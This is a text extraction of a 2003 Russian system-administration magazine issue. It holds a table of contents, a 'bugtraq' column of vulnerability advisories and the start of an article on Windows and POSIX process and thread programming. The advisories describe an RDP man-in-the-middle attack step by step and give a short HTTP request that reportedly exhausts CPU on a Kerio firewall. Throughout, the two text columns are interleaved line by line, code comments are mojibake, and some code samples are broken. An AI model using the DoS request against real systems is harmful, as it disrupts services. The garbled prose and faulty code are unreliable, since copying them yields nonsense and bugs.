Вы находитесь на странице: 1из 98

№5(6) май 2003

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Конфигурирование
Конфигурирование
DHCP
DHCP
Четыре
Четыре принципа
принципа
выбора
выбора коммутатора
коммутатора
ЛВС
ЛВС
Программные
Программные
RAID-массивы
RAID-массивы
Почтовая
Почтовая система
система
для
для среднего
среднего
ии малого
малого офиса
офиса
Статическая
Статическая
маршрутизация
маршрутизация
вв Linux
Linux
оглавление

АДМИНИСТРИРОВАНИЕ ПРОГРАММИРОВАНИЕ
Процессы и нити Перехват системных вызовов
Всеволод Стахов в операционной системе Linux
CEBKA@smtp.ru 4 Часть 2
Владимир Мешков
Конфигурирование DHCP ubob@mail.ru 56
Денис Колисниченко
dhsilabs@mail.ru 12
БЕЗОПАСНОСТЬ
Статическая маршрутизация
в Linux. iproute2 SELinux
Часть1 Сергей Яремчук
Всеволод Стахов grinder@ua.fm 64
CEBKA@smtp.ru 16
Технологии протоколирования Honeypot
Построение программных в обеспечении безопасности
RAID-массивов в Linux сетевых Unix-систем
Дмитрий Рожков Антон Даниленко
dmitry@rojkov.spb.ru 22 info@ptsecurity.ru 70
Удаленное резервное копирование: Советы по безопасной
пример реализации в FreeBSD веб-аутентификации
Денис Пеплин Игорь Тетерин
info@volginfo.ru 26 keks_revda@uraltc.ru 76
Дистанционное управление в Linux
Денис Колисниченко ОБРАЗОВАНИЕ
dhsilabs@mail.ru 32
Обучающие ситуационные центры
Это должен знать каждый, Андрей Филиппович
или 4 базовых принципа fil@ics.bmstu.ru 82
выбора коммутатора ЛВС
Геннадий Карпов
info@samag.ru 36 WEB
Организация доступа в Интернет PHP
на предприятиях Сергей Яремчук
Алексей Федоров grinder@ua.fm 90
alexey_fyodorov@mail.ru 40
Почтовая система BUGTRAQ 2, 15, 31, 45, 62, 69, 88
для среднего и малого офиса
Андрей Бешков
tigrisha@sysadmins.ru 46
Уважаемые читатели!

Рады сообщить вам, что продолжается подписка на 2-ое полугодие 2003 года.
Подписной индекс по каталогу агентства «Роспечать» – 81655.
Оформить подписку можно в любом почтовом отделении связи или через Интернет.
Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60.
Вы также можете получить журналы за 1-ое полугодие (февраль – июнь), прислав заявку на
редакционную подписку по факсу (095) 928-82-53 или на info@samag.ru
Более подробная информация на нашем сайте
www.samag.ru

Желаем успехов!

№5(6), май 2003 1


bugtraq
«Man In The Middle» нападение DoS против Kerio WinRoute Firewall
против Windows Terminal Services Уязвимость в обработке исключительных ситуаций обна-
В течение исследования Remote Desktop Protocol (RDP), ружена в веб-интерфейсе Kerio WinRoute Firewall. Удален-
который используется для соединения с Windows Terminal ный пользователь может заставить систему потреблять
Services, Cendio Systems) обнаружила, что хотя инфор- 100% ресурсов CPU.
мация, посланная по сети, зашифрована, нет никакой Как сообщает Positive Technologies, простой HTTP-зап-
проверки подлинности сервера при установке ключей рос к веб-интерфейсу Kerio Winroute Firewall на 4080 пор-
шифрования для сеанса. ту может привести к 100% использованию ресурсов CPU.
Это означает, что RDP уязвим к «Man In The Middle» Пример:
(MITM)-нападениям. Нападение работает следующим об-
разом: GET / HTTP/1.0
Authorization: Basic XXX
 При подключении клиента к серверу, мы используем
некоторые методы (DNS-имитация, отравление arp- Вместо
кэша, и т. д.), чтобы заставить его соединиться с MITM
вместо сервера. MITM посылает запрос далее серверу. GET / HTTP/1.0
Host: server
 Сервер посылает свой открытый ключ и случайную Authorization: Basic XXX
«соль» в открытом виде снова через MITM. MITM по-
сылает пакет далее клиенту, но при этом заменяет от- Уязвимость обнаружена в Kerio WinRoute Firewall 5.0.1.
крытый ключ на собственный, для которого известен
закрытый ключ. Переполнение буфера в Sendmail
 Клиент посылает случайную «соль», зашифрованную В Sendmail 8.12.8 и более ранних версиях обнаружено
открытым ключом сервера, к MITM. удаленное переполнение буфера. Удаленный атакую-
 MITM расшифровывает случайную «соль» клиента соб- щий может получить полный контроль над уязвимым
ственным закрытым ключом, шифрует ее настоящим приложением.
открытым ключом сервера и посылает ее серверу. CERT был вынужден заранее сообщить об исследуе-
 MITM теперь знает «соль» сервера и клиента, что яв- мой уязвимости, так как произошла внутренняя утечка
ляется достаточной информацией, чтобы создать клю- информации. Уязвимость позволяет получить root-доступ
чи сеанса, используемые для дальнейших пакетов, по- на уязвимой системе. Как сообщает автор, скорее всего,
сланных между клиентом и сервером. Вся посланная уязвимость может использоваться только локальным
информация, может теперь читаться в открытом виде. пользователем, хотя потенциально существует возмож-
ность удаленной эксплуатации.
Уязвимость происходит, потому что клиенты не пыта- Ошибка присутствует в функции parseaddr.c в
ются проверить открытый ключ сервера, посланный во prescan() и связана с неверной проверкой границ при
втором шаге. В других протоколах, типа Secure Shell, боль- выполнении преобразования символьных данных в це-
шинство существующих клиентов проверяет правиль- лочисленные. При проведении атаки может возникнуть
ность ключа сервера. ситуация, когда будут превышены границы размера бу-
Все существующие RDP-клиенты не в состоянии про- фера и произойдёт перезапись переменных стека. Эта
верять известный ключ сервера. Нет также никакого взаи- функция используется для обработки адресов электрон-
модействия с пользователем, чтобы проверить ключ в пер- ной почты.
вый раз, когда делается подключение на новый сервер. Уязвимость обнаружена в Sendmail 8.12.8 и более ран-
Уязвимость была проверена на Windows 2000 Terminal них версиях и устранена в Sendmail 8.12.9.
Server, Windows 2000 Advanced Server и Windows Server
2003, используя клиенты, поставляемые с Windows 2000 Неправильные разрешения в SAP DB 7.х
и загруженные с сайта Microsoft. Обнаружено, что уязви- Уязвимость в разрешениях некоторых файлов обнаруже-
мость существует в 4 и 5 версии RDP-протокола. на в SAP DB. Локальный пользователь может модифици-
Как сообщается, уже разработано программное обес- ровать выполняемые файлы, чтобы получить повышен-
печение, которое может использоваться для эксплуата- ные привилегии на сервере.
ции этой уязвимости. Secure Network Operations сообщил, что несколько сер-
верных программ установлено с «777» разрешениями
Обход URL-фильтрации (world-readable и world-writable), когда используется RPM-
в Symantec Enterprise Firewall инсталляционный метод. Согласно этому сообщению,
Уязвимость обнаружена в Symantec Enterprise Firewall. Уда- RPM устанавливает такие разрешения на «lserver» и
ленный пользователь может обойти URL-фильтрацию. «dbmsrv» программах.
Как сообщается, межсетевая защита не способна рас- Локальный пользователь может изменить уязвимые
познать некоторые методы URL-кодирования. Удаленный файлы. Затем, когда целевой пользователь выполнит эти
пользователь может закодировать URL, используя стандар- файлы, код, представленный локальным пользователем,
тные методы URL-кодирования, типа Unicode и UTF-8, что- будет выполнен с привилегиями целевого пользователя.
бы обойти механизмы URL-фильтрации. В некоторых случаях это может быть root-привилегии.
Уязвимость обнаружена в Symantec Enterprise Firewall 7.0. Уязвимость обнаружена в SAP DB 7.х.

2
администрирование

ПРОЦЕССЫ
И НИТИ

В данной статье я расскажу


о работе с процессами в мно-
гозадачных операционных
системах, в частности о про-
граммировании процессов и
нитей в Windows и POSIX-со-
вместимых системах.

ВСЕВОЛОД СТАХОВ

4
администрирование
Как вы знаете, Windows NT – это многозадачная ОС, а тельный) к исполняемому файлу. Если путь длинный или
это значит, что вы можете создавать программным путём содержит пробелы, то необходимо заключить его в кавыч-
другие процессы и нити внутри процесса. Для создания ки: "\"C:\\very long path\\very long filename.exe\"". Учтите, что
процесса могут использоваться две основные функции: в WindowsNT для запуска 16-ти разрядных программ не-
WinExec и CreateProcess. Первая очень проста в приме- обходимо указывать путь к файлу в lpCommandLine, а дан-
нении, имеет только два параметра и может использовать- ный параметр должен равняться NULL (в Win9x 16-ти раз-
ся для создания оконных процессов (к ним можно отнес- рядные файлы выполняются, как и все другие).
ти и консольные программы). Однако возможности LPTSTR lpCommandLine – параметры, передаваемые
WinExec сильно ограничены, и Microsoft громогласно объя- порождаемому процессу в командной строке для 16-ти раз-
вила, что вместо этого следует использовать функцию рядных приложений в WinNT. При указании пути к 16-ти
CreateProcess. Но рассмотреть WinExec всё же надо, хотя разрядному приложению надо путь к нему заключать в ка-
бы для быстрого написания простых программ. вычки, чтобы отделить конец самого пути и начало пере-
даваемых аргументов командной строки. Но такой метод
int WinExec(char *command_line, unsigned int show_mode); срабатывает и для 32-х разрядных приложений. Поэтому
параметр lpApplicationName оставляют в NULL, а в данном
Функция выполняет программу сommand_line в режи- параметре прописывают полную командную строку, пред-
ме отображения окна show_mode и ждёт, пока дочерний варённую путём к файлу. При этом учтите, что если путь
процесс вызовет функцию GetMessage или пока не про- неполный и файл не найден относительно текущей дирек-
шло время ожидания (это может вызвать задержку вы- тории, то происходит поиск в следующих местах:
полнения). При успешном выполнении функция возвра-  в директории системных файлов (\winnt\system32 или
щает значение, большее 31; меньшее значение сигнали- \windows\system);
зирует об ошибке:  в директории 16-ти разрядных системных файлов для
 0 – не хватает ресурсов; WinNT \winnt\system;
 ERROR_BAD_FORMAT – указываемый файл неиспол-  в директории windows (\winnt \windows);
няемый;  в директориях, описанных в переменной окружения PATH.
 ERROR_FILE_NOT_FOUND – указываемый файл не
найден; LPSECURITY_ATTRIBUTES lpProcessAttributes – атри-
 ERROR_PATH_NOT_FOUND – путь не существует. буты безопасности процесса. Для большинства случаев
следует писать NULL, т.е. атрибуты безопасности насле-
Режимы отображения окна будут описаны далее. дуются порождаемым процессом.
Функция CreateProcess принимает большое количество LPSECURITY_ATTRIBUTES lpThreadAttributes – атрибу-
параметров и может использоваться для указания мно- ты безопасности потока, тоже обычно NULL.
жества атрибутов порождаемым процессам, например, BOOL bInheritHandles – флаг, определяющий наследу-
можно сделать оболочку для DOS-программы с графи- ет ли дочерний процесс дескрипторы родителя. Данный
ческим интерфейсом ввода/вывода данных, переопреде- флаг удобно применять для межпроцессовых коммуника-
лив STDIN и STDOUT и многое другое. Но использовать ций через неименованные трубки (pipe) и для совместно-
данную функцию достаточно непросто, так как приходит- го использования файлов. Общее правило: если процесс
ся учитывать некоторые нюансы, а можно ещё и мучить- собирается общаться с потомком, этот параметр должен
ся с атрибутами безопасности, но это уже на любителя... быть TRUE.
Итак, вот что написано в MSDN: DWORD dwCreationFlags – флаги создания процесса.
Битовая маска, определяющая различные параметры со-
BOOL CreateProcess( здания процесса. Обычно используется для указания при-
// Èìÿ èñïîëíÿåìîãî ôàéëà
LPCTSTR lpApplicationName, оритета процесса:
// Êîìàíäíàÿ ñòðîêà
LPTSTR lpCommandLine,
 HIGH_PRIORITY_CLASS – высокий приоритет процес-
// Àòðèáóòû áåçîïàñíîñòè ïðîöåññà са (нельзя создать процесс данного класса, не полу-
LPSECURITY_ATTRIBUTES lpProcessAttributes, чив соответствующих привилегий).
// Àòðèáóòû áåçîïàñíîñòè ïîòîêà
LPSECURITY_ATTRIBUTES lpThreadAttributes,  IDLE_PRIORITY_CLASS – низкий приоритет процесса.
// Íàñëåäóåò ëè äî÷åðíèé ïðîöåññ äåñêðèïòîðû ðîäèòåëÿ
BOOL bInheritHandles,
 NORMAL_PRIORITY_CLASS – нормальный приоритет
// Ôëàãè ñîçäàíèÿ ïðîöåññà процесса.
DWORD dwCreationFlags,
// Óêàçàòåëü íà environment äëÿ äî÷åðíåãî ïðîöåññà
 REALTIME_PRIORITY_CLASS – режим реального вре-
LPVOID lpEnvironment, мени для процесса (для запуска необходимы приви-
// Òåêóùàÿ äèðåêòîðèÿ äëÿ ïðîöåññà легии администратора, что обычно используется при
LPCTSTR lpCurrentDirectory,
// Ñòðóêòóðà äëÿ çàïóñêà ïðîöåññà создании сервисов реального времени, которые запус-
LPSTARTUPINFO lpStartupInfo, каются от пользователя SYSTEM) даёт порождаемо-
// Óêàçàòåëü, ïîëó÷àþùèé äàííûå î äî÷åðíåì ïðîöåññå
LPPROCESS_INFORMATION lpProcessInformation му процессу 100% CPU, и если последний начнёт «по-
); жирать» все ресурсы процессора, то ОС наглухо за-
виснет: мышь двигаться не сможет, буферы на диск
Краткое объяснение параметров: не сбрасываются. В общем, хорошо, что всем нельзя
LPCTSTR lpApplicationName – путь (полный или относи- такие процессы делать.

№5(6), май 2003 5


администрирование
Есть ещё интересные параметры для отладки прило- Параметры размера игнорируются, если только в
жений, позволяющие применять функции непосредствен- dwFlags не установлен атрибут STARTF_USEPOSITION
ного доступа к памяти процесса ReadProcessMemory и и/или STARTF_USESIZE.
WriteProcessMemory, но описание этого выходит за рам-  DWORD dwXCountChars – количество символов по
ки данной статьи. ширине.
LPVOID lpEnvironment – указатель на environment  DWORD dwYCountChars – количество символов по
для дочернего процесса, представляет собой блок высоте.
строк, заканчивающихся NULL, содержащих в себе опи-  Данные параметры применяются для консольных при-
сание переменных окружения для дочернего процесса ложений, если установлен флаг STARTF_USECOUNT-
в формате «имя=значение». Если данный параметр CHARS.
NULL, то по традиции он наследуется от родительского  DWORD dwFillAttribute – устанавливают цвет (FORE-
процесса. GROUND_BLUE, FOREGROUND_GREEN, FOREGRO-
LPCTSTR lpCurrentDirectory – текущая директория для UND_RED, FOREGROUND_INTENSITY, BACKGRO-
процесса. UND_BLUE, BACKGROUND_GREEN, BACKGRO-
LPSTARTUPINFO lpStartupInfo – структура для запус- UND_RED, и BACKGROUND_INTENSITY) для кон-
ка процесса – это самая интересная часть CreateProcess, сольных приложений, если установлен флаг
будет описана далее. STARTF_USEFILLATTRIBUTE.
LPPROCESS_INFORMATION lpProcessInformation – ука-  DWORD dwFlags – а вот это те самые флаги; кроме
затель, получающий данные о дочернем процессе в тех, что были уже упомянуты выше, можно отметить
формате: флаг STARTF_USESTDHANDLES – переопределение
стандартных потоков для потомка.
struct PROCESS_INFORMATION{
HANDLE hProcess; – äåñêðèïòîð ïîðîæä¸ííîãî ïðîöåññà;
 WORD wShowWindow – режим открытия окна (для
HANDLE hThread; – äåñêðèïòîð ãëàâíîãî ïîòîêà его изменения необходимо ус тановить флаг
äî÷åðíåãî ïðîöåññà; STARTF_USESHOWWINDOW), приведу несколько
DWORD dwProcessId; – èäåíòèôèêàòîð ïîðîæä¸ííîãî
ïðîöåññà; самых используемых:
DWORD dwThreadId; – èäåíòèôèêàòîð ïîðîæä¸ííîãî
ïîòîêà.
 SW_HIDE – спрятать окно и показать следующее;
}  SW_MAXIMIZE – развернуть и активизировать окно;
 SW_MINIMIZE – свернуть окно и показать следующее;
А теперь я приведу описание структуры STARTUPINFO,  SW_RESTORE – восстановить окно;
и многие поймут, почему системных программистов  SW_SHOWNORMAL – восстановить и активизиро-
Windows возводят в ранг великомучеников. вать окно;
 SW_SHOW – просто активизировать и показать окно.
struct STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;  WORD cbReserved2 – NULL.
LPTSTR lpDesktop;
LPTSTR lpTitle;
 LPBYTE lpReserved2 – NULL.
DWORD dwX;  HANDLE hStdInput – дескриптор стандартного ввода.
DWORD dwY;
DWORD dwXSize;
 HANDLE hStdOutput – дескриптор стандартного вывода.
DWORD dwYSize;  HANDLE hStdError – дескриптор стандартных ошибок.
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute; Тут могу посоветовать одно: обнуляйте структуру пе-
DWORD dwFlags; ред использованием, а затем заполняйте нужные поля,
WORD wShowWindow;
WORD cbReserved2; остальные установятся по умолчанию. Ну что же, пришло
LPBYTE lpReserved2; время для чего-нибудь интересного. Итак, примеры.
HANDLE hStdInput;
HANDLE hStdOutput; Для начала запустим какой-нибудь notepad и загрузим
HANDLE hStdError; в него какой-нибудь файл, в данном примере test.txt:
};

Теперь «краткое» описание полей: // Èíôîðìàöèÿ î ïðîöåññå


STARTUPINFO si;
 DWORD cb – размер структуры в байтах // Îáíóëåíèå ñòðóêòóðû
(sizeof(STARTUPINFO)). memset(&si, 0, sizeof(STARTUPINFO));
// Çàïîëíåíèå ïîëåé
 LPTSTR lpReserved – очередная шутка Microsoft, дол- si.cb = sizeof(STARTUPINFO);
жно быть NULL.
// Ôëàãè
 LPTSTR lpDesktop – указатель на рабочий стол для окна si.dwFlags = STARTF_USESHOWWINDOW;
(полезно для сервисов, работающих с рабочим столом).
// Ïîêàçûâàåì îêîøêî
 LPTSTR lpTitle – используется при создании окна консо- si.wShowWindow = SW_SHOWNORMAL;
ли с заголовком, в остальных случаях должен быть NULL.
// Èíôîðìàöèÿ î ïðîöåññå
 DWORD dwX – размеры окна по х. PROCESS_INFORMATION pi;
 DWORD dwY – размеры окна по у.
// Âîò è âñ¸! Òåïåðü áëîêíîò çàïóùåí
 DWORD dwXSize – ширина. CreateProcess(NULL, "notepad.exe test.txt", NULL, NULL, ↵
 DWORD dwYSize – высота. FALSE, 0, 0, 0, &si, &pi);

6
администрирование
А теперь более интересный пример – создание обо- PROCESS_INFORMATION pi;
// Íó à ýòî èíèöèàëèçàöèÿ STARTUPINFO
лочки для программы MS-DOS. Для общения с консоль- STARTUPINFO si;
ной программой можно использовать только неимено- memset(&si, 0, sizeof(STARTUPINFO)); // Îáíóëåíèå
// È óñòàíîâêà ïîëåé
ванные каналы (pipe). Проблема в том, что в WinNT не- si.cb = sizeof(STARTUPINFO);
именованные каналы не наследуются порождаемым // Ýòî ðàáî÷èé ñòîë ïî óìîë÷àíèþ!
si.lpDesktop = "WinSta0\\Default";
процессом. Для того чтобы наследовать неименован- si.dwFlags = STARTF_USESHOWWINDOW;
ные каналы, необходимо установить соответствующие si.wShowWindow = SW_SHOW;
параметры безопасности. Но я подробно на этом оста- if (CreateProcess(NULL, "explorer", NULL, NULL, FALSE, ↵
навливаться не буду – просто примите это на веру, так 0, NULL, NULL, &si, &pi))
{
как дескрипторы безопасности – это отдельная боль- // Çàêðûâàåì âñå äåñêðèïòîðû â êîíöå ïðîãðàììû
шая тема. CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
SECURITY_DESCRIPTOR sd; // Äåñêðèïòîð áåçîïàñíîñòè
SECURITY_ATTRIBUTES sa; // è åãî àòðèáóòû
LPSECURITY_ATTRIBUTES lpsa = NULL; После создания дочернего процесса собственного напи-
// Ýòî Windows NT сания для взаимодействия с сервисом наиболее удобно ис-
if (GetVersion() < 0x80000000) {
// Èíèöèàëèçàöèÿ äåñêðèïòîðà пользовать именованные каналы, но это уже другая тема...
InitializeSecurityDescriptor(&sd, ↵ Теперь я расскажу о нитях. Вообще термин thread очень
SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, true, NULL, false); сложно однозначно перевести, но я буду называть их нити
sa.nLength = sizeof(SECURITY_ATTRIBUTES); или потоки. Поток – это функция, которая выполняется внут-
// Ðàçðåøàåì íàñëåäîâàíèå äåñêðèïòîðîâ
sa.bInheritHandle = true; ри процесса одновременно с другими функциями, т.е. про-
sa.lpSecurityDescriptor = &sd; цесс разделяется на нити, выполняющиеся одновременно и
// À âîò ýòî óæå íîðìàëüíûé äåñêðèïòîð áåçîïàñíîñòè
lpsa = &sa; использующими одно и то же адресное пространство, что
} нужно для создания нескольких параллельных потоков, ра-
// Ñîçäà¸ì íåèìåíîâàííûé êàíàë è ïîëó÷àåì äåñêðèïòîðû ботающих над одной задачей, чтобы не тратить много вре-
// ÷òåíèÿ/çàïèñè мени на перегонку результатов через именованные и неиме-
HANDLE hReadPipe;
HANDLE hWritePipe; нованные каналы... Когда процессы разные, важно, чтобы
// Ñîçäàíèå êàíàëà один другому не мешал и не мог бы его случайно повредить
CreatePipe(&hReadPipe, &hWritePipe, lpsa,25000);
// Íó à ýòî èíèöèàëèçàöèÿ STARTUPINFO и прочее. Когда же процесс один, но многопотоковый, на-
STARTUPINFO si; оборот, нужно одно общее адресное пространство.
// Îáíóëåíèå
memset(&si, 0, sizeof(STARTUPINFO)); Для создания потока в WinNT необходимо применить
si.cb = sizeof(STARTUPINFO); функцию CreateThread. Учтите, что работа с потоками
// Ôëàã ïåðåíàïðàâëåíèÿ äåñêðèïòîðîâ
si.dwFlags = STARTF_USESHOWWINDOW |STARTF_USESTDHANDLES; кардинальным образом отличается от работы с процес-
// Ïðÿ÷åì îêîøêî сами, т.к. нет необходимости применять межпроцессные
si.wShowWindow = SW_HIDE;
// Óêàçàòåëè stdout è stderr ïåðåíàïðàâëÿþòñÿ â êàíàë коммуникации ОС и с потоком можно работать также, как
si.hStdOutput = hWritePipe; и с любой другой функцией, например, передавать в неё
si.hStdError = hWritePipe;
PROCESS_INFORMATION pi; параметры. Кроме этого, так как все потоки используют
общее адресное пространство, то глобальные и статичес-
if(CreateProcess(NULL, "bcc -otest test.c", NULL, NULL, ↵
TRUE, 0, 0, 0, &si, &pi)){ кие переменные одинаковы во всех нитях (иногда встают
// Çàêðûâàåì äåñêðèïòîð ïîòîêà проблемы синхронизации потоков), хотя межпроцессные
CloseHandle(pi.hThread);
// Æä¸ì çàâåðøåíèÿ äî÷åðíåãî ïðîöåññà 90 ñåê. коммуникации также возможны (у нити есть собственный
WaitForSingleObject(pi.hProcess, 90000); дескриптор), что делает нить неким «гибридом» между
// ×èòàåì èç êàíàëà äàííûå функцией и процессом по способу взаимодействия.
DWORD BytesRead; // Êîëè÷åñòâî ñ÷èòàííûõ áàéò
char dest[4000]; // Âîò â ýòîò áóôåð ïèñàòü è áóäåì HANDLE CreateThread(
int LoopDone = 0; // Àòðèáóòû áåçîïàñíîñòè (NULL)
int FBreak = 0;
LPSECURITY_ATTRIBUTES lpThreadAttributes,
// Ðàçìåð ñòåêà äëÿ ïîòîêà (åñëè 0, òî èñïîëüçóåòñÿ
// Öèêë ÷òåíèÿ äàííûõ èç êàíàëà, ñ çàùèòîé îò òàéì-àóòà, // óìîë÷àíèå
// ò.ê. ÷òåíèå íåáëîêèðóþùåå
while (!LoopDone) { DWORD dwStackSize,
// Óêàçàòåëü íà ôóíêöèþ ïîòîêà
memset(dest, 0, 4000); LPTHREAD_START_ROUTINE lpStartAddress,
ReadFile(hReadPipe, &dest, sizeof(dest), ↵
&BytesRead, NULL); // Àðãóìåíòû, ïåðåäàâàåìûå ïîòîêó
LPVOID lpParameter,
if (BytesRead < 4000 || FBreak > 150) ↵ // Ôëàãè ñîçäàíèÿ
LoopDone = -1;
else LoopDone = 0; DWORD dwCreationFlags,
// Ïîëó÷àåò ID ïîòîêà
FBreak++; LPDWORD lpThreadId
}
);
}
Синтаксис данной команды довольно простой, но я хо-
А теперь приведу пример взаимодействия сервиса с тел бы рассказать следующее: если вы передаёте нити
рабочим столом, например, сервис, вызывающий explorer аргументы, то их нужно прямо приводить к типу void *, а в
с привилегиями LocalSystem (фактически привилегии опе- самом потоке делать обратное преобразование. Данный
рационной системы): способ позволяет передать потоку абсолютно любые па-

№5(6), май 2003 7


администрирование
раметры. Если вы не хотите, чтобы поток сразу же запус- execlp, execve. Буквы l и v обозначают способ передачи
кался, то укажите флаг CREATE_SUSPENDED, тогда нить аргументов дочернему процессу: в виде массива строк
создастся, но запускаться не будет. Функция CreateThread (суффикс v) или в виде последовательных строк, заканчи-
возвращает дескриптор потока или NULL при ошибке. Фун- вающихся нулевой строкой (суффикс l). Суффикс e сигна-
кция потока имеет вид DWORD WINAPI ThreadFunc(LPVOID лизирует, что дочернему процессу также передаётся мас-
data), где data – передаваемые параметры. сив строк окружения (имя_переменной=значение). Суф-
Для управления состоянием потоков используются фун- фикс p означает, что нужно произвести поиск исполняемо-
кции SuspendThread и ResumeThread для соответственно го файла в PATH. Итак, общий формат функции:
приостанавливания и восстановления потоков. Функции
принимают один аргумент – дескриптор потока и возвра- // óêàçûâàåì ïåðåìåííûå îêðóæåíèÿ
int execve(char *path, char *args[], char *env[])
щают 1 в случае ошибки. Для убиения потока использует- // èäåò ïîèñê â PATH
ся функция TerminateThread, она принимает два парамет- int execlp(char *path, char *arg1, char *arg2 ... ↵
char *argn, NULL)
ра: дескриптор потока и код ошибки. Если поток хочет со-
общить вызывающему потоку код завершения, то он дол- При удачном выполнении функция не возвращает ни-
жен использовать функцию ExitThread(DWORD dwExit- чего (возвращать-то некому! родительский процесс уже
Code), а вызывающий поток должен вызвать GetExitThread- заменён на дочерний), иначе произошла ошибка. Замечу,
Code(HANDLE hThread, LPDWORD lpdwExitCode), и поле что в DOS, Windows и OS/2 есть ещё семейство функций
lpdwExitCode заполняется кодом завершения потока. spawn*, подобных exec*, но не заменяющих родительский
Пример создания простого сервиса: процесс, а создающих параллельный. Причём возвраща-
ют они идентификатор процесса. Кроме этого, функции се-
// Ôîðìàò ôóíêöèè ïîòîêà æ¸ñòêî çàäàí мейства spawn принимают первым параметром режим за-
DWORD WINAPI ThreadFunc(LPVOID lpParam)
{ пуска, который может принимать следующие значения:
char szMsg[80];  P_WAIT – родительский процесс дожидается заверше-
wsprintf( szMsg, "Ïîòîê: ïàðàìåòð = %d\n", *lpParam ); ния дочернего, а затем продолжает выполнение;
MessageBox( NULL, szMsg, "Ïîòîê ñîçäàí.", MB_OK );  P_NOWAIT – родительский и дочерний процессы вы-
return 0; полняются одновременно, но родительский может при-
} менить функцию wait для ожидания завершения до-
int main(void) чернего процесса (такой режим доступен только для
{ Win32 и OS/2);
//Ïàðàìåòð äëÿ ïîòîêà
DWORD dwThreadId, dwThrdParam = 1;  P_NOWAITO – идентично P_NOWAIT, но невозможен
HANDLE hThread; вызов wait (работает везде);
hThread = CreateThread(
NULL, // áåçîïàñíîñòü ïî óìîë÷àíèþ  P_DETACH – то же, что и P_NOWAITO, но дочерний
0, // ðàçìåð ñòåêà ïî óìîë÷àíèþ процесс выполняется в фоновом режиме без доступа
ThreadFunc, // ôóíêöèÿ ïîòîêà
(void *) &dwThrdParam, // ïàðàìåòð äëÿ ôóíêöèè íèòè к клавиатуре и дисплею.
0, // íåò ñïåöèàëüíûõ ôëàãîâ ñîçäàíèÿ
&dwThreadId); // ïîëó÷àåò ID íèòè
Ещё раз повторяю: функции spawn* не поддержива-
// Ïðîâåðÿåì ïðàâèëüíîñòü ðàáîòû ïîòîêà. ются POSIX-стандартом. Для ожидания окончания дочер-
if (hThread == NULL) него процесса используется функция pid_t wait(int
return -1; *process_stat). Данная функция дожидается окончания
// Íåãëàñíîå ïðàâèëî - çàêðûâàåì äåñêðèïòîðû âðó÷íóþ дочернего процесса и заполняет параметр process_stat.
CloseHandle(hThread); При нормальном завершении дочернего процесса стар-
return 0;
} шие биты данной структуры содержат код завершения
программы, иначе устанавливаются биты 1, 2, 3. Если до-
Потоки – это мощное и хорошо реализованное в WinNT черний процесс уже завершился, то функция wait немед-
средство. Потоки очень часто применяются в серверных ленно возвращается, а ресурсы, занятые потомком, ос-
приложениях, сервисах и прочих программах, использу- вобождаются. В POSIX-системах возможно также приме-
ющих «разделение труда». Потоки легко использовать и нение функции wait к нитям, но об этом далее.
управлять ими. Единственное, о чём приходится заботить- Пример использования функций exec и spawn:
ся, – это синхронизация данных между потоками, работа-
ющими одновременно, для этого существуют механизмы int main()
{
семафоров и мьютексов, но опять же это другая тема... //Ôîðìèðîâàíèå ìàññèâà àðãóìåíòîâ
В других операционных системах также есть свои фун- char *ar[2] = {"test.c" "-otest"};
//À òåïåðü íàøåãî ïðîöåññà óæå íåò, îí çàìåíèëñÿ gcc
кции создания процессов и потоков. Наиболее переноси- return execvp("gcc", ar);
мой является семейство функций exec*, которые произво- }
---------------------------------------------------------
дят запуск дочернего процесса в адресном пространстве int main()
родительского, т.е. после выполнения exec дочерний про- {
//Çàïóñêàåì gcc ïàðàëëåëüíî
цесс заменяет родительский. Данная функция есть прак- spawnlp(P_NOWAIT, "gcc", "test.c", "-otest", NULL);
тически во всех ОС: POSIX, Windows, DOS, OS/2. Формат // Äëÿ ÷åãî-òî æä¸ì çàâåðøåíèÿ gcc è âûõîäèì
return wait(NULL);
функции зависит от суффикса функции, например: execl, }

8
администрирование
В POSIX определён также замечательный системный ется буферизованной и блокирующей, поэтому всегда надо
вызов fork, который выполняет «разделение» существу- готовиться к худшему (к получению сигнала SIGCHILD).
ющего процесса. После вызова fork происходит полное Если потомок завершился, то попытки чтения из трубы не-
копирование адресного пространства существующего удачны, а feof возвращает не ноль. Поток, открытый popen,
процесса, и далее продолжают выполняться 2 процесса, должен завершаться функцией pclose, ждущей окончания
отличающихся только идентификатором процесса. При- процесса и закрывающей созданный канал.
чём родителю fork возвращает идентификатор дочерне-
го процесса, а дочернему – 0. Так можно определить тип int main()
{
процесса: родитель или потомок. У двух процессов после char buf[1024];
fork идентично содержимое памяти, стека, файловых дес- FILE *f = NULL;
//Îòêðûâàåì êàíàë â ðåæèìå ÷òåíèÿ
крипторов, идентификаторов пользователя процесса f = popen("ls -l", "r");
(UID), каналов и т. д. Не наследуются только те участки
if(f==NULL){ //×òî-òî íå òàê
памяти, которые были закреплены с помощью mlock(void perror("Failed to execute ls!");
*mem, size_t size). Можно сказать, что после вызова fork return -1;
}
происходит разделение исходного процесса на два иден-
тичных, но при этом между собой не связанных процесса while(!feof){ //Ïîêà ïîòîìîê ðàáîòàåò
fgets(buf, 1024, f); //×èòàåì èç êàíàëà
(т.е. адресное пространство у них разное). Далее обычно printf("%s", buf);
дочерний и родительский процессы начинают вести себя
}
по-разному, в зависимости от значения, возвращённого
fork. C помощью fork можно выполнить множество полез- pclose(f); //Çàêðûâàåì êàíàë
return 0;
ных действий, например, создание демонов, сокетных сер- }
веров и т. д. Например, с помощью функции fork можно
организовать поведение, аналогичное spawn в win32: В форуме журнала был вопрос, связанный с поиском
файлов в Unix. Одним из решений может служить взаи-
void main() модействие со стандартной утилитой find при помощи
{
pid_t pid; // Èäåíòèôèêàòîð ïðîöåññà функции popen("find some_file", "r"). В качестве альтерна-
pid = fork(); // À òåïåðü óæå 2 ïðîöåññà тивы можно также использовать команды locate и whereis.
if(pid == -1) // Ïðîèçîøëà îøèáêà
return; Во многих Unix-подобных системах (в частности в
Linux) организована поддержка нитей. К сожалению, воз-
if(pid == 0){ // Ýòî äî÷åðíèé ïðîöåññ
execlp("gcc", "test.c", "-otest", NULL); можность эта ещё пока недостаточно отлажена и исполь-
} зовать её не так-то просто. Но я, тем не менее, расскажу
else{
